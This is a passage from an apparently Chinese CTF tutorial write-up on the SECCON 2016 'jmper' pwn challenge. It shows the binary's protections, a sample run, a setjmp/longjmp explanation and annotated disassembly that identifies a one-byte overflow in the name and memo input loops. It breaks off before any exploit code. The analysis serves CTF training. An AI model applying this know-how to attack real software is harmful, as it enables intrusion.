📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • 题目解析
  • main
  • f
  • 漏洞利用
  • overflow
  • leak
  • overwrite
  • pwn
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.17 pwn SECCONCTF2016 jmper

Previous6.1.16 pwn HITBCTF2017 1000levelsNext6.1.18 pwn HITBCTF2017 Sentosa

Last updated 3 years ago

Was this helpful?

题目复现

$ file jmper
jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped
$ checksec -f jmper
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               4       jmper
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.4.

64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。

在 Ubuntu-14.04 上玩一下:

$ LD_PRELOAD=./libc-2.19.so ./jmper
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
1
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
2
ID:0
Input name:AAAA
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
3
ID:0
Input memo:BBBB
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
4
ID:0
AAAA1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
5
ID:0
BBBB1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
6

似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。

题目解析

程序主要由两部分组成,一个是 main() 函数,另一个是实现了所有功能的 f() 函数。

main

[0x00400730]> pdf @ main
/ (fcn) main 170
|   main ();
|           ; var int local_4h @ rbp-0x4
|           ; DATA XREF from 0x0040074d (entry0)
|           0x00400ba8      push rbp
|           0x00400ba9      mov rbp, rsp
|           0x00400bac      sub rsp, 0x10
|           0x00400bb0      mov rax, qword [obj.stdin]                 ; [0x602018:8]=0
|           0x00400bb7      mov ecx, 0
|           0x00400bbc      mov edx, 2
|           0x00400bc1      mov esi, 0
|           0x00400bc6      mov rdi, rax
|           0x00400bc9      call sym.imp.setvbuf                       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x00400bce      mov rax, qword [sym.stdout]                ; loc.stdout ; [0x602010:8]=0
|           0x00400bd5      mov ecx, 0
|           0x00400bda      mov edx, 2
|           0x00400bdf      mov esi, 0
|           0x00400be4      mov rdi, rax
|           0x00400be7      call sym.imp.setvbuf                       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x00400bec      mov edi, str.Welcome_to_my_class.          ; 0x400d88 ; "Welcome to my class."
|           0x00400bf1      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400bf6      mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)"
|           0x00400bfb      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400c00      mov edi, 0xf0                              ; 240
|           0x00400c05      call sym.imp.malloc                        ; my_class = malloc(0xf0) 分配 my_class 数组
|           0x00400c0a      mov qword [obj.my_class], rax              ; [0x602030:8]=0
|           0x00400c11      mov edi, 0xc8                              ; 200
|           0x00400c16      call sym.imp.malloc                        ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体
|           0x00400c1b      mov qword [obj.jmpbuf], rax                ; [0x602038:8]=0
|           0x00400c22      mov rax, qword [obj.jmpbuf]                ; [0x602038:8]=0
|           0x00400c29      mov rdi, rax
|           0x00400c2c      call sym.imp._setjmp                       ; setjmp(jmpbuf) 保存上下文到 jmpbuf
|           0x00400c31      mov dword [local_4h], eax
|           0x00400c34      cmp dword [local_4h], 0                     ; 将 setjmp 返回值与 0 比较
|       ,=< 0x00400c38      jne 0x400c41                                ; 不等于时跳转
|       |   0x00400c3a      call sym.f                                  ; 否则调用函数 f(),进入主要程序逻辑
|      ,==< 0x00400c3f      jmp 0x400c4b
|      ||   ; JMP XREF from 0x00400c38 (main)
|      |`-> 0x00400c41      mov edi, str.Nice_jump__Bye_:              ; 0x400dbf ; "Nice jump! Bye :)"
|      |    0x00400c46      call sym.imp.puts                          ; int puts(const char *s)
|      |    ; JMP XREF from 0x00400c3f (main)
|      `--> 0x00400c4b      mov eax, 0
|           0x00400c50      leave
\           0x00400c51      ret
[0x00400730]> is ~my_class
055 0x00002030 0x00602030 GLOBAL OBJECT    8 my_class
[0x00400730]> is ~jmpbuf
065 0x00002038 0x00602038 GLOBAL OBJECT    8 jmpbuf
[0x00400730]> iS ~bss
24 0x00002010     0 0x00602010    48 --rw- .bss

在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 my_class(0x00602030)。另一块用于存放一个 jmp_buf 结构体,这个结构体中保存当前上下文,结构体的地址放在 jmpbuf(0x00602038)。并且这两个符号都在 .bss 段中。

这里就涉及到 setjmp() 和 longjmp() 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下:

#include <setjmp.h>

int setjmp(jmp_buf env);

void longjmp(jmp_buf env, int val);
  • setjmp():将函数在此处的上下文保存到 jmp_buf 结构体,以供 longjmp 从此结构体中恢复上下文

    • env:保存上下文的 jmp_buf 结构体变量

    • 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。

  • longjmp():从 jmp_buf 结构体中恢复由 setjmp 函数保存的上下文,该函数不返回,而是从 setjmp 函数中返回

    • env:由 setjmp 函数保存的上下文

    • val:传递给 setjmp 函数的返回值,如果 val 值为 0,setjmp 将会返回 1,否则返回 val。

longjmp() 执行完之后,程序就回到了 setjmp() 的下一条语句继续执行。

f

接下来我们看一下各功能的实现(程序设计真的要吐槽一下):

[0x00400730]> pdf @ sym.f
/ (fcn) sym.f 907
|   sym.f ();
|           ; var int local_1dh @ rbp-0x1d
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400c3a (main)
|           0x0040081d      push rbp
|           0x0040081e      mov rbp, rsp
|           0x00400821      sub rsp, 0x20
|           0x00400825      mov dword [obj.student_num], 0             ; [0x602028:4]=0
|           ; JMP XREF from 0x00400ba3 (sym.f)
|       .-> 0x0040082f      mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始
|       :   0x00400834      call sym.imp.puts                          ; int puts(const char *s)
|       :   0x00400839      lea rax, [local_18h]
|       :   0x0040083d      mov rsi, rax
|       :   0x00400840      mov edi, 0x400d3c
|       :   0x00400845      mov eax, 0
|       :   0x0040084a      call sym.imp.__isoc99_scanf                 ; 读入选项到 [local_18h]
|       :   0x0040084f      call sym.imp.getchar                       ; int getchar(void)
|       :   0x00400854      mov eax, dword [local_18h]
|       :   0x00400857      cmp eax, 1                                 ; 1
|      ,==< 0x0040085a      jne 0x4008e8
|      |:   0x00400860      mov eax, dword [obj.student_num]           ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student 数
|      |:   0x00400866      cmp eax, 0x1d                              ; 29 ; 与最大值比较
|     ,===< 0x00400869      jle 0x400889                                ; 小于等于 30 时跳转
|     ||:   0x0040086b      mov edi, str.Exception_has_occurred._Jump  ; 0x400d3f ; 否则调用 longjmp 返回到 main
|     ||:   0x00400870      call sym.imp.puts                          ; int puts(const char *s)
|     ||:   0x00400875      mov rax, qword [obj.jmpbuf]                ; [0x602038:8]=0 ; 取出 jmpbuf 结构体
|     ||:   0x0040087c      mov esi, 0x1bf52                            ; setjmp 返回值为 0x1bf52
|     ||:   0x00400881      mov rdi, rax
|     ||:   0x00400884      call sym.imp.longjmp                       ; longjmp(jmpbuf, 0x1bf52)
|     ||:   ; JMP XREF from 0x00400869 (sym.f)
|     `---> 0x00400889      mov edi, 0x30                              ; '0' ; 48
|      |:   0x0040088e      call sym.imp.malloc                        ; malloc(0x30) ; 分配一个 student 结构
|      |:   0x00400893      mov qword [local_8h], rax                   ; 将 student 地址放到 [local_8h]
|      |:   0x00400897      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x0040089d      movsxd rdx, eax
|      |:   0x004008a0      mov rax, qword [local_8h]
|      |:   0x004008a4      mov qword [rax], rdx                        ; 将 student_num 作为该 student->id
|      |:   0x004008a7      mov edi, 0x20                              ; 32
|      |:   0x004008ac      call sym.imp.malloc                        ; malloc(0x20) ; 分配一块空间作为 name
|      |:   0x004008b1      mov rdx, rax
|      |:   0x004008b4      mov rax, qword [local_8h]
|      |:   0x004008b8      mov qword [rax + 0x28], rdx                 ; 将 name 的地址放到 student->name
|      |:   0x004008bc      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
|      |:   0x004008c3      mov edx, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x004008c9      movsxd rdx, edx
|      |:   0x004008cc      mov rcx, qword [local_8h]
|      |:   0x004008d0      mov qword [rax + rdx*8],                    ; 将新分配的 student 地址放到 my_class[id]
|      |:   0x004008d4      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x004008da      add eax, 1                                  ; student_num + 1
|      |:   0x004008dd      mov dword [obj.student_num], eax           ; [0x602028:4]=0 ; 写回 student_num
|     ,===< 0x004008e3      jmp 0x400ba3                                ; 回到菜单
|     ||:   ; JMP XREF from 0x0040085a (sym.f)
|     |`--> 0x004008e8      mov eax, dword [local_18h]
|     | :   0x004008eb      cmp eax, 2                                 ; 2
|     |,==< 0x004008ee      jne 0x4009b3
|     ||:   0x004008f4      mov esi, 0x400d5d                           ; 选项 2
|     ||:   0x004008f9      mov edi, 0x400d61
|     ||:   0x004008fe      mov eax, 0
|     ||:   0x00400903      call sym.imp.printf                        ; int printf(const char *format)
|     ||:   0x00400908      lea rax, [local_1ch]
|     ||:   0x0040090c      mov rsi, rax
|     ||:   0x0040090f      mov edi, 0x400d3c
|     ||:   0x00400914      mov eax, 0
|     ||:   0x00400919      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
|     ||:   0x0040091e      call sym.imp.getchar                       ; int getchar(void)
|     ||:   0x00400923      mov edx, dword [local_1ch]
|     ||:   0x00400926      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|     ||:   0x0040092c      cmp edx, eax                                ; 判断 id 是否有效
|    ,====< 0x0040092e      jge 0x400937                                ; 无效时跳转
|    |||:   0x00400930      mov eax, dword [local_1ch]
|    |||:   0x00400933      test eax, eax                               ; 根据 id 设置符号位
|   ,=====< 0x00400935      jns 0x40094b                                ; 符号位为 0 时跳转,即 id 大于等于 0
|   ||||:   ; JMP XREF from 0x0040092e (sym.f)
|   |`----> 0x00400937      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
|   | ||:   0x0040093c      call sym.imp.puts                          ; int puts(const char *s)
|   | ||:   0x00400941      mov edi, 1
|   | ||:   0x00400946      call sym.imp.exit                          ; void exit(int status)
|   | ||:   ; JMP XREF from 0x00400935 (sym.f)
|   `-----> 0x0040094b      mov esi, str.Input_name:                   ; 0x400d70 ; "Input name:"
|     ||:   0x00400950      mov edi, 0x400d61
|     ||:   0x00400955      mov eax, 0
|     ||:   0x0040095a      call sym.imp.printf                        ; int printf(const char *format)
|     ||:   0x0040095f      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
|     ||:   0x00400966      mov edx, dword [local_1ch]
|     ||:   0x00400969      movsxd rdx, edx
|     ||:   0x0040096c      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
|     ||:   0x00400970      mov rax, qword [rax + 0x28]                ; [0x28:8]=-1 ; 取出 my_class[id]->name
|     ||:   0x00400974      mov qword [local_10h], rax                  ; 放到 [local_10h]
|     ||:   0x00400978      mov dword [local_14h], 0                    ; 循环计数 i 初始化为 0
|    ,====< 0x0040097f      jmp 0x4009a8                                ; 进入循环
|    |||:   ; JMP XREF from 0x004009ac (sym.f)
|   .-----> 0x00400981      call sym.imp.getchar                       ; int getchar(void)
|   :|||:   0x00400986      mov byte [local_1dh], al                    ; 读入一个字节到 [local_1dh]
|   :|||:   0x00400989      cmp byte [local_1dh], 0xa                  ; [0xa:1]=255 ; 10
|  ,======< 0x0040098d      jne 0x400995                                ; 非换行符时跳转
|  |:|||:   0x0040098f      nop
| ,=======< 0x00400990      jmp 0x400ba3                                ; 否则回到菜单
| ||:|||:   ; JMP XREF from 0x0040098d (sym.f)
| |`------> 0x00400995      mov rax, qword [local_10h]
| | :|||:   0x00400999      movzx edx, byte [local_1dh]
| | :|||:   0x0040099d      mov byte [rax], dl                          ; 写入该字节写入 name
| | :|||:   0x0040099f      add qword [local_10h], 1                    ; name = name + 1
| | :|||:   0x004009a4      add dword [local_14h], 1                    ; i = i + 1
| | :|||:   ; JMP XREF from 0x0040097f (sym.f)
| | :`----> 0x004009a8      cmp dword [local_14h], 0x20                ; [0x20:4]=-1 ; 32
| | `=====< 0x004009ac      jle 0x400981                                ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
| |  ,====< 0x004009ae      jmp 0x400ba3                                ; 否则回到菜单
| |  |||:   ; JMP XREF from 0x004008ee (sym.f)
| |  ||`--> 0x004009b3      mov eax, dword [local_18h]
| |  || :   0x004009b6      cmp eax, 3                                 ; 3
| |  ||,==< 0x004009b9      jne 0x400a7e
| |  |||:   0x004009bf      mov esi, 0x400d5d                           ; 选项 3
| |  |||:   0x004009c4      mov edi, 0x400d61
| |  |||:   0x004009c9      mov eax, 0
| |  |||:   0x004009ce      call sym.imp.printf                        ; int printf(const char *format)
| |  |||:   0x004009d3      lea rax, [local_1ch]
| |  |||:   0x004009d7      mov rsi, rax
| |  |||:   0x004009da      mov edi, 0x400d3c
| |  |||:   0x004009df      mov eax, 0
| |  |||:   0x004009e4      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| |  |||:   0x004009e9      call sym.imp.getchar                       ; int getchar(void)
| |  |||:   0x004009ee      mov edx, dword [local_1ch]
| |  |||:   0x004009f1      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| |  |||:   0x004009f7      cmp edx, eax                                ; 判断 id 是否有效
| | ,=====< 0x004009f9      jge 0x400a02                                ; 无效时跳转
| | ||||:   0x004009fb      mov eax, dword [local_1ch]
| | ||||:   0x004009fe      test eax, eax                               ; 根据 id 设置符号位
| |,======< 0x00400a00      jns 0x400a16                                ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x004009f9 (sym.f)
| ||`-----> 0x00400a02      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| || |||:   0x00400a07      call sym.imp.puts                          ; int puts(const char *s)
| || |||:   0x00400a0c      mov edi, 1
| || |||:   0x00400a11      call sym.imp.exit                          ; void exit(int status)
| || |||:   ; JMP XREF from 0x00400a00 (sym.f)
| |`------> 0x00400a16      mov esi, str.Input_memo:                   ; 0x400d7c ; "Input memo:"
| |  |||:   0x00400a1b      mov edi, 0x400d61
| |  |||:   0x00400a20      mov eax, 0
| |  |||:   0x00400a25      call sym.imp.printf                        ; int printf(const char *format)
| |  |||:   0x00400a2a      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| |  |||:   0x00400a31      mov edx, dword [local_1ch]
| |  |||:   0x00400a34      movsxd rdx, edx
| |  |||:   0x00400a37      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| |  |||:   0x00400a3b      add rax, 8                                  ; 取出 my_class[id]->memo
| |  |||:   0x00400a3f      mov qword [local_10h], rax                  ; 放到 [local_10h]
| |  |||:   0x00400a43      mov dword [local_14h], 0                    ; 循环计数 i,初始化为 0
| | ,=====< 0x00400a4a      jmp 0x400a73                                ; 进入循环
| | ||||:   ; JMP XREF from 0x00400a77 (sym.f)
| |.------> 0x00400a4c      call sym.imp.getchar                       ; int getchar(void)
| |:||||:   0x00400a51      mov byte [local_1dh], al
| |:||||:   0x00400a54      cmp byte [local_1dh], 0xa                  ; [0xa:1]=255 ; 10
| ========< 0x00400a58      jne 0x400a60
| |:||||:   0x00400a5a      nop
| ========< 0x00400a5b      jmp 0x400ba3
| |:||||:   ; JMP XREF from 0x00400a58 (sym.f)
| --------> 0x00400a60      mov rax, qword [local_10h]
| |:||||:   0x00400a64      movzx edx, byte [local_1dh]
| |:||||:   0x00400a68      mov byte [rax], dl
| |:||||:   0x00400a6a      add qword [local_10h], 1
| |:||||:   0x00400a6f      add dword [local_14h], 1
| |:||||:   ; JMP XREF from 0x00400a4a (sym.f)
| |:`-----> 0x00400a73      cmp dword [local_14h], 0x20                ; [0x20:4]=-1 ; 32
| |`======< 0x00400a77      jle 0x400a4c                                ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
| | ,=====< 0x00400a79      jmp 0x400ba3                                ; 否则回到菜单
| | ||||:   ; JMP XREF from 0x004009b9 (sym.f)
| | |||`--> 0x00400a7e      mov eax, dword [local_18h]
| | ||| :   0x00400a81      cmp eax, 4                                 ; 4
| | |||,==< 0x00400a84      jne 0x400b0d
| | ||||:   0x00400a8a      mov esi, 0x400d5d                           ; 选项 4
| | ||||:   0x00400a8f      mov edi, 0x400d61
| | ||||:   0x00400a94      mov eax, 0
| | ||||:   0x00400a99      call sym.imp.printf                        ; int printf(const char *format)
| | ||||:   0x00400a9e      lea rax, [local_1ch]
| | ||||:   0x00400aa2      mov rsi, rax
| | ||||:   0x00400aa5      mov edi, 0x400d3c
| | ||||:   0x00400aaa      mov eax, 0
| | ||||:   0x00400aaf      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| | ||||:   0x00400ab4      call sym.imp.getchar                       ; int getchar(void)
| | ||||:   0x00400ab9      mov edx, dword [local_1ch]
| | ||||:   0x00400abc      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| | ||||:   0x00400ac2      cmp edx, eax                                ; 判断 id 是否有效
| |,======< 0x00400ac4      jge 0x400acd                                ; 无效时跳转
| ||||||:   0x00400ac6      mov eax, dword [local_1ch]
| ||||||:   0x00400ac9      test eax, eax                               ; 根据 id 设置符号位
| ========< 0x00400acb      jns 0x400ae1                                ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x00400ac4 (sym.f)
| |`------> 0x00400acd      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| | ||||:   0x00400ad2      call sym.imp.puts                          ; int puts(const char *s)
